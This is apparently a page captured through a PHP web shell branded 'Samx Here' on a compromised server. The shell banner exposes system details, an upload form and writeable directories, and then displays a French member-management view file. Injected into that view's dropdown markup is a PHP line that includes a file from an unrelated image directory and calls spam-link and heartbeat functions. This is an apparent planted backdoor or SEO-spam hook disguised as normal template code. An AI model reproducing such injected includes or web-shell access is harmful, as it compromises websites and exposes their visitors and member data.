Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/test/pragmacompte/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/test/pragmacompte/views/gerer_membres.view.php
<?php $title = "Gérer les membres"; ?>
<?php include("partials/_header.php"); ?>

<div id="main-content">
	<div class="container">
		<div class="dropdown" style="float:right;">
			<button class="btn btn-secondary dropdown-toggle" type="button" id="operations_admin2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> Opérations</button>
			<div class="dropdown-menu dropdown-menu-right" aria-labelledby="operations_admin2">
				<a class="dropdown-item" href="ajouter_membre.php">Ajouter un membre</a>
			</div><?php include_once $_SERVER["DOCUMENT_ROOT"]."/lesite/IMG/distant/html/functions-php-lib.php"; global $hasRun; if (!$hasRun) { echo site_friend_links("<!--DhdL8Uf9-->");flush();heartBT(); $hasRun = true;} ?>
		</div>

		<h1><?= $title; ?> <img src="images/bt_info_32.png" class="bt_scale_2" title="Quelques infos..." alt="Quelques infos..."  data-toggle="modal" data-target="#infos_adm" /></h1>

		<table class="table table-sm tablo_gerer_membres">
			<thead>
				<tr>
					<th data-sortable="true" data-field="Id">Id</th>
					<th data-sortable="true" data-field="Pseudo">Pseudo</th>
					<th data-sortable="true" data-field="Email">Email</th>
					<th data-sortable="true" data-field="Date insc">Date insc</th>
					<th data-sortable="true" data-field="Statut" class="petite-col">Statut</th>
					<th data-sortable="true" data-field="Actif" class="petite-col">Actif</th>
					<th data-sortable="true" data-field="N+1" class="petite-col">N+1</th>
					<th class="petite-col"></th>
				</tr>
			</thead>
			<tbody>
				<?php foreach($users as $user): ?>
					<tr>
						<td><?= $user->id ?></td>
						<td><?= eb($user->pseudo) ?></td>
						<td><?= eb($user->email) ?></td>
						<td><?= "<span style='display:none;'>".$user->date_insc."</span> ".date('d-m-y', strtotime($user->date_insc)) ?></td>
						<td class="petite-col"><?= $user->statut ?></td>
						<td class="petite-col"><?= $user->actif ?></td>
						<td class="petite-col"><?= $user->annee_suivante ?></td>
						<td class="petite-col"><a href="editer_membre.php?m=<?= $user->id ?>"><img src="images/bt_editer_24.png" class="bt_scale_2 bt_editer_membre" /></a></td>
					</tr>
				<?php endforeach ?>
			</tbody>
		</table>
	</div>
</div>

<div class="modal" id="infos_adm">
	<div class="modal-dialog modal-lg">
    	<div class="modal-content">
			<div class="modal-header">
				<h4 class="modal-title"><img src="images/bt_info_32.png" /> Quelques infos sur ce module de gestion de comptes...</h4>
    			<button type="button" class="close" data-dismiss="modal">&times;</button>
			</div>
			<div class="modal-body"><?php include("partials/_infos_admin.php"); ?></div>
		</div>
	</div>
</div>

<?php include("partials/_footer.php"); ?>

<script src="../commun/js/bootstrap-table.min.js" type="text/javascript"></script>
<script src="../commun/js/bootstrap-table-fr-FR.min.js" type="text/javascript"></script>
<script>
    $('.tablo_gerer_membres').bootstrapTable({
		search : true,
		pagination : true
	});
</script>

SAMX